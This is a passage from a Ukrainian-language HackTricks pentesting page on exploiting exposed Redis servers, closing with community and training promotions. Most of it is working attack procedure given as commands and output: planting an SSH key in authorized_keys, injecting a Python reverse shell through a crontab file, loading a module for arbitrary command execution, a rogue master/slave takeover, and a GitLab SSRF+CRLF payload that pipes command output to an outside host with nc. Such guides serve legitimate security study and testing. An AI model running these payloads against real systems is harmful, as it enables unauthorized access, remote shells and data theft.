Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€Ρ–ΡŽ Ρ–Π½ΡˆΠΎΠ³ΠΎ дійсного користувача, Π΄Π΅ Ρƒ вас Ρ” ΠΏΡ€Π°Π²Π° Π½Π° запис, Π²ΠΈ Ρ‚Π°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°Ρ‚ΠΈ Ρ†ΠΈΠΌ: 1. Π—Π³Π΅Π½Π΅Ρ€ΡƒΠΉΡ‚Π΅ ΠΏΠ°Ρ€Ρƒ ssh ΠΏΡƒΠ±Π»Ρ–Ρ‡Π½ΠΎΠ³ΠΎ-ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Π½Π° Π²Π°ΡˆΠΎΠΌΡƒ ПК: **`ssh-keygen -t rsa`** 2. Π—Π°ΠΏΠΈΡˆΡ–Ρ‚ΡŒ ΠΏΡƒΠ±Π»Ρ–Ρ‡Π½ΠΈΠΉ ΠΊΠ»ΡŽΡ‡ Ρƒ Ρ„Π°ΠΉΠ» : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 3. Π†ΠΌΠΏΠΎΡ€Ρ‚ΡƒΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ» Ρƒ redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 4. Π—Π±Π΅Ρ€Π΅ΠΆΡ–Ρ‚ΡŒ ΠΏΡƒΠ±Π»Ρ–Ρ‡Π½ΠΈΠΉ ΠΊΠ»ΡŽΡ‡ Ρƒ Ρ„Π°ΠΉΠ»Ρ– **authorized\_keys** Π½Π° сСрвСрі redis: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK ``` 5. ΠΠ°Ρ€Π΅ΡˆΡ‚Ρ–, Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ **ssh** Π½Π° **сСрвСр redis** Π· ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΈΠΌ ΠΊΠ»ΡŽΡ‡Π΅ΠΌ : **ssh -i id\_rsa redis@10.85.0.52** **Ця Ρ‚Π΅Ρ…Π½Ρ–ΠΊΠ° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΎΠ²Π°Π½Π° Ρ‚ΡƒΡ‚:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) ### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` ΠžΡΡ‚Π°Π½Π½Ρ–ΠΉ ΠΏΡ€ΠΈΠΊΠ»Π°Π΄ для Ubuntu, для **Centos** Π²ΠΈΡ‰Π΅ Π½Π°Π²Π΅Π΄Π΅Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΏΠΎΠ²ΠΈΠ½Π½Π° Π±ΡƒΡ‚ΠΈ: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` Π¦Π΅ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ‚Π°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ½Π° використовувати для Π·Π°Ρ€ΠΎΠ±Ρ–Ρ‚ΠΊΡƒ Π±Ρ–Ρ‚ΠΊΠΎΠΉΠ½Ρ–Π² :[yam](https://www.v2ex.com/t/286981#reply14) ### ЗавантаТСння модуля Redis 1. Π”ΠΎΡ‚Ρ€ΠΈΠΌΡƒΡŽΡ‡ΠΈΡΡŒ інструкцій Π· [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ **ΡΠΊΠΎΠΌΠΏΡ–Π»ΡŽΠ²Π°Ρ‚ΠΈ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ redis для виконання Π΄ΠΎΠ²Ρ–Π»ΡŒΠ½ΠΈΡ… ΠΊΠΎΠΌΠ°Π½Π΄**. 2. ΠŸΠΎΡ‚Ρ–ΠΌ Π²Π°ΠΌ ΠΏΠΎΡ‚Ρ€Ρ–Π±Π΅Π½ спосіб **Π·Π°Π²Π°Π½Ρ‚Π°ΠΆΠΈΡ‚ΠΈ ΡΠΊΠΎΠΌΠΏΡ–Π»ΡŒΠΎΠ²Π°Π½ΠΈΠΉ** ΠΌΠΎΠ΄ΡƒΠ»ΡŒ. 3. **Π—Π°Π²Π°Π½Ρ‚Π°ΠΆΡ‚Π΅ Π·Π°Π²Π°Π½Ρ‚Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ** ΠΏΡ–Π΄ час виконання Π·Π° допомогою `MODULE LOAD /path/to/mymodule.so`. 4. **ΠŸΠ΅Ρ€Π΅Ρ€Π°Ρ…ΡƒΠΉΡ‚Π΅ Π·Π°Π²Π°Π½Ρ‚Π°ΠΆΠ΅Π½Ρ– ΠΌΠΎΠ΄ΡƒΠ»Ρ–**, Ρ‰ΠΎΠ± ΠΏΠ΅Ρ€Π΅Π²Ρ–Ρ€ΠΈΡ‚ΠΈ, Ρ‡ΠΈ Π±ΡƒΠ² Π²Ρ–Π½ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°Π²Π°Π½Ρ‚Π°ΠΆΠ΅Π½ΠΈΠΉ: `MODULE LIST`. 5. **Π’ΠΈΠΊΠΎΠ½Π°ΠΉΡ‚Π΅** **ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ**: ``` 127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999 ``` 6. Π’ΠΈΠ²Π°Π½Ρ‚Π°ΠΆΡ‚Π΅ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ, ΠΊΠΎΠ»ΠΈ Π·Π°Ρ…ΠΎΡ‡Π΅Ρ‚Π΅: `MODULE UNLOAD mymodule`. ### ΠžΠ±Ρ…Ρ–Π΄ пісочниці LUA [**Π’ΡƒΡ‚**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ±Π°Ρ‡ΠΈΡ‚ΠΈ, Ρ‰ΠΎ Redis використовує ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ **EVAL** для виконання **ΠΊΠΎΠ΄Ρƒ Lua Π² пісочниці**. Π£ ΠΏΠΎΠ²'язаному пості Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ±Π°Ρ‡ΠΈΡ‚ΠΈ, **як Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°Ρ‚ΠΈ Ρ†ΠΈΠΌ**, Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡŽΡ‡ΠΈ Ρ„ΡƒΠ½ΠΊΡ†Ρ–ΡŽ **dofile**, Π°Π»Π΅ [ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), Ρ‰ΠΎ Ρ†Π΅ Π±Ρ–Π»ΡŒΡˆΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ»ΠΈΠ²ΠΎ. Π£ Π±ΡƒΠ΄ΡŒ-якому Π²ΠΈΠΏΠ°Π΄ΠΊΡƒ, якщо Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ **ΠΎΠ±Ρ–ΠΉΡ‚ΠΈ ΠΏΡ–ΡΠΎΡ‡Π½ΠΈΡ†ΡŽ Lua**, Π²ΠΈ ΠΌΠΎΠ³Π»ΠΈ Π± **Π²ΠΈΠΊΠΎΠ½Π°Ρ‚ΠΈ Π΄ΠΎΠ²Ρ–Π»ΡŒΠ½Ρ–** ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° систСмі. Π’Π°ΠΊΠΎΠΆ, Π· Ρ‚ΠΎΠ³ΠΎ ΠΆ посту Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ±Π°Ρ‡ΠΈΡ‚ΠΈ дСякі **Π²Π°Ρ€Ρ–Π°Π½Ρ‚ΠΈ для Π²ΠΈΠΊΠ»ΠΈΠΊΡƒ DoS**. ДСякі **CVE для Π²Ρ‚Π΅Ρ‡Ρ– Π· LUA**: * [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) ### ΠœΠΎΠ΄ΡƒΠ»ΡŒ Master-Slave ​Головний redis Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ синхронізує всі ΠΎΠΏΠ΅Ρ€Π°Ρ†Ρ–Ρ— Π· slave redis, Ρ‰ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Ρ”, Ρ‰ΠΎ ΠΌΠΈ ΠΌΠΎΠΆΠ΅ΠΌΠΎ розглядати Π²Ρ€Π°Π·Π»ΠΈΠ²ΠΈΠΉ redis як slave redis, ΠΏΡ–Π΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ Π΄ΠΎ Π³ΠΎΠ»ΠΎΠ²Π½ΠΎΠ³ΠΎ redis, який ΠΌΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŽΡ”ΠΌΠΎ, Ρ‚ΠΎΠ΄Ρ– ΠΌΠΈ ΠΌΠΎΠΆΠ΅ΠΌΠΎ ввСсти ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Π΄ΠΎ нашого власного redis. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: redis-cli -h 10.85.0.52 -p 6379 slaveof 10.85.0.51 6379 Then you can login to the master redis to control the slave redis: redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` ## SSRF talking to Redis Π―ΠΊΡ‰ΠΎ Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ надіслати **тСкстовий** Π·Π°ΠΏΠΈΡ‚ **Π΄ΠΎ Redis**, Π²ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ **спілкуватися Π· Π½ΠΈΠΌ**, ΠΎΡΠΊΡ–Π»ΡŒΠΊΠΈ Redis Π±ΡƒΠ΄Π΅ Ρ‡ΠΈΡ‚Π°Ρ‚ΠΈ Π·Π°ΠΏΠΈΡ‚ рядок Π·Π° рядком Ρ– просто Π²Ρ–Π΄ΠΏΠΎΠ²Ρ–Π΄Π°Ρ‚ΠΈ ΠΏΠΎΠΌΠΈΠ»ΠΊΠ°ΠΌΠΈ Π½Π° рядки, які Π½Π΅ Ρ€ΠΎΠ·ΡƒΠΌΡ–Ρ”: ``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' -ERR unknown command 'Accept-Encoding:' -ERR unknown command 'Via:' -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` Π’ΠΎΠΌΡƒ, якщо Π²ΠΈ Π·Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ **SSRF vuln** Π½Π° Π²Π΅Π±-сайті Ρ– Π·ΠΌΠΎΠΆΠ΅Ρ‚Π΅ **ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŽΠ²Π°Ρ‚ΠΈ** дСякі **Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ** (ΠΌΠΎΠΆΠ»ΠΈΠ²ΠΎ, Π· Π²Ρ€Π°Π·Π»ΠΈΠ²Ρ–ΡΡ‚ΡŽ CRLF) Π°Π±ΠΎ **POST ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈ**, Π²ΠΈ Π·ΠΌΠΎΠΆΠ΅Ρ‚Π΅ надсилати Π΄ΠΎΠ²Ρ–Π»ΡŒΠ½Ρ– ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π΄ΠΎ Redis. ### ΠŸΡ€ΠΈΠΊΠ»Π°Π΄: Gitlab SSRF + CRLF Π΄ΠΎ Shell Π£ **Gitlab11.4.7** Π±ΡƒΠ»Π° виявлСна **SSRF** Π²Ρ€Π°Π·Π»ΠΈΠ²Ρ–ΡΡ‚ΡŒ Ρ‚Π° **CRLF**. **SSRF** Π²Ρ€Π°Π·Π»ΠΈΠ²Ρ–ΡΡ‚ΡŒ Π±ΡƒΠ»Π° Π² **Ρ„ΡƒΠ½ΠΊΡ†Ρ–ΠΎΠ½Π°Π»Ρ– Ρ–ΠΌΠΏΠΎΡ€Ρ‚Ρƒ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρƒ Π· URL** ΠΏΡ–Π΄ час створСння Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρƒ Ρ– дозволяла ΠΎΡ‚Ρ€ΠΈΠΌΡƒΠ²Π°Ρ‚ΠΈ доступ Π΄ΠΎ Π΄ΠΎΠ²Ρ–Π»ΡŒΠ½ΠΈΡ… IP-адрСс Ρƒ Ρ„ΠΎΡ€ΠΌΡ– \[0:0:0:0:0:ffff:127.0.0.1] (Ρ†Π΅ ΠΎΡ‚Ρ€ΠΈΠΌΡƒΡ” доступ Π΄ΠΎ 127.0.0.1), Π° Π²Ρ€Π°Π·Π»ΠΈΠ²Ρ–ΡΡ‚ΡŒ **CRLF** Π±ΡƒΠ»Π° використана просто **додаванням символів %0D%0A** Π΄ΠΎ **URL**. Π’ΠΎΠΌΡƒ Π±ΡƒΠ»ΠΎ ΠΌΠΎΠΆΠ»ΠΈΠ²ΠΈΠΌ **Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°Ρ‚ΠΈ Ρ†ΠΈΠΌΠΈ вразливостями, Ρ‰ΠΎΠ± спілкуватися Π· СкзСмпляром Redis**, який **ΠΊΠ΅Ρ€ΡƒΡ” Ρ‡Π΅Ρ€Π³Π°ΠΌΠΈ** Π· **gitlab** Ρ– Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°Ρ‚ΠΈ Ρ†ΠΈΠΌΠΈ Ρ‡Π΅Ρ€Π³Π°ΠΌΠΈ, Ρ‰ΠΎΠ± **ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ виконання ΠΊΠΎΠ΄Ρƒ**. ПСйлоад зловТивання Ρ‡Π΅Ρ€Π³ΠΎΡŽ Redis: ``` multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec ``` Π† Π·Π°ΠΏΠΈΡ‚ **URL encode**, Ρ‰ΠΎ **Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°Ρ” SSRF** Ρ‚Π° **CRLF** для виконання `whoami` Ρ– Π²Ρ–Π΄ΠΏΡ€Π°Π²ΠΊΠΈ Π²ΠΈΡ…ΠΎΠ΄Ρƒ Ρ‡Π΅Ρ€Π΅Π· `nc`, виглядає Ρ‚Π°ΠΊ: ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` _Π— ΡΠΊΠΎΡ—ΡΡŒ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΈ (як для Π°Π²Ρ‚ΠΎΡ€Π°_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _Π·Π²Ρ–Π΄ΠΊΠΈ Π±ΡƒΠ»Π° взята ця інформація) Сксплуатація ΠΏΡ€Π°Ρ†ΡŽΠ²Π°Π»Π° Π· ΡΡ…Π΅ΠΌΠΎΡŽ `git`, Π° Π½Π΅ Π· ΡΡ…Π΅ΠΌΠΎΡŽ `http`._
ΠŸΡ€ΠΈΡ”Π΄Π½ΡƒΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сСрвСра, Ρ‰ΠΎΠ± спілкуватися Π· досвідчСними Ρ…Π°ΠΊΠ΅Ρ€Π°ΠΌΠΈ Ρ‚Π° ΡˆΡƒΠΊΠ°Ρ‡Π°ΠΌΠΈ вразливостСй! **Інсайти Π· Ρ…Π°ΠΊΡ–Π½Π³Ρƒ**\ ЗалучайтСся Π΄ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, який Π·Π°Π½ΡƒΡ€ΡŽΡ”Ρ‚ΡŒΡΡ Π² захоплСння Ρ‚Π° Π²ΠΈΠΊΠ»ΠΈΠΊΠΈ Ρ…Π°ΠΊΡ–Π½Π³Ρƒ **Новини Ρ…Π°ΠΊΡ–Π½Π³Ρƒ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌΡƒ часі**\ Π‘Π»Ρ–Π΄ΠΊΡƒΠΉΡ‚Π΅ Π·Π° швидкоплинним світом Ρ…Π°ΠΊΡ–Π½Π³Ρƒ Ρ‡Π΅Ρ€Π΅Π· Π½ΠΎΠ²ΠΈΠ½ΠΈ Ρ‚Π° інсайти Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌΡƒ часі **ΠžΡΡ‚Π°Π½Π½Ρ– оголошСння**\ Π‘ΡƒΠ΄ΡŒΡ‚Π΅ Π² курсі Π½ΠΎΠ²ΠΈΡ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌ Π²ΠΈΠ½Π°Π³ΠΎΡ€ΠΎΠ΄ Π·Π° вразливості Ρ‚Π° Π²Π°ΠΆΠ»ΠΈΠ²ΠΈΡ… оновлСнь ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ **ΠŸΡ€ΠΈΡ”Π΄Π½ΡƒΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ нас Π½Π°** [**Discord**](https://discord.com/invite/N3FrSbmwdy) Ρ– ΠΏΠΎΡ‡Π½Ρ–Ρ‚ΡŒ ΡΠΏΡ–Π²ΠΏΡ€Π°Ρ†ΡŽΠ²Π°Ρ‚ΠΈ Π· ΠΏΡ€ΠΎΠ²Ρ–Π΄Π½ΠΈΠΌΠΈ Ρ…Π°ΠΊΠ΅Ρ€Π°ΠΌΠΈ Π²ΠΆΠ΅ ΡΡŒΠΎΠ³ΠΎΠ΄Π½Ρ–! {% hint style="success" %} Π’Ρ‡Ρ–Ρ‚ΡŒΡΡ Ρ‚Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒΠΉΡ‚Π΅ Ρ…Π°ΠΊΡ–Π½Π³ AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Π’Ρ‡Ρ–Ρ‚ΡŒΡΡ Ρ‚Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒΠΉΡ‚Π΅ Ρ…Π°ΠΊΡ–Π½Π³ GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
ΠŸΡ–Π΄Ρ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ HackTricks * ΠŸΠ΅Ρ€Π΅Π²Ρ–Ρ€Ρ‚Π΅ [**ΠΏΠ»Π°Π½ΠΈ підписки**](https://github.com/sponsors/carlospolop)! * **ΠŸΡ€ΠΈΡ”Π΄Π½ΡƒΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ** πŸ’¬ [**Π³Ρ€ΡƒΠΏΠΈ Discord**](https://discord.gg/hRep4RUj7f) Π°Π±ΠΎ [**Π³Ρ€ΡƒΠΏΠΈ Telegram**](https://t.me/peass) Π°Π±ΠΎ **слідкуйтС** Π·Π° Π½Π°ΠΌΠΈ Π² **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Π”Ρ–Π»Ρ–Ρ‚ΡŒΡΡ Ρ…Π°ΠΊΠ΅Ρ€ΡΡŒΠΊΠΈΠΌΠΈ Ρ‚Ρ€ΡŽΠΊΠ°ΠΌΠΈ, ΠΏΠΎΠ΄Π°ΡŽΡ‡ΠΈ PR Π΄ΠΎ** [**HackTricks**](https://github.com/carlospolop/hacktricks) Ρ‚Π° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€Ρ–Ρ—Π² Π½Π° github.
{% endhint %}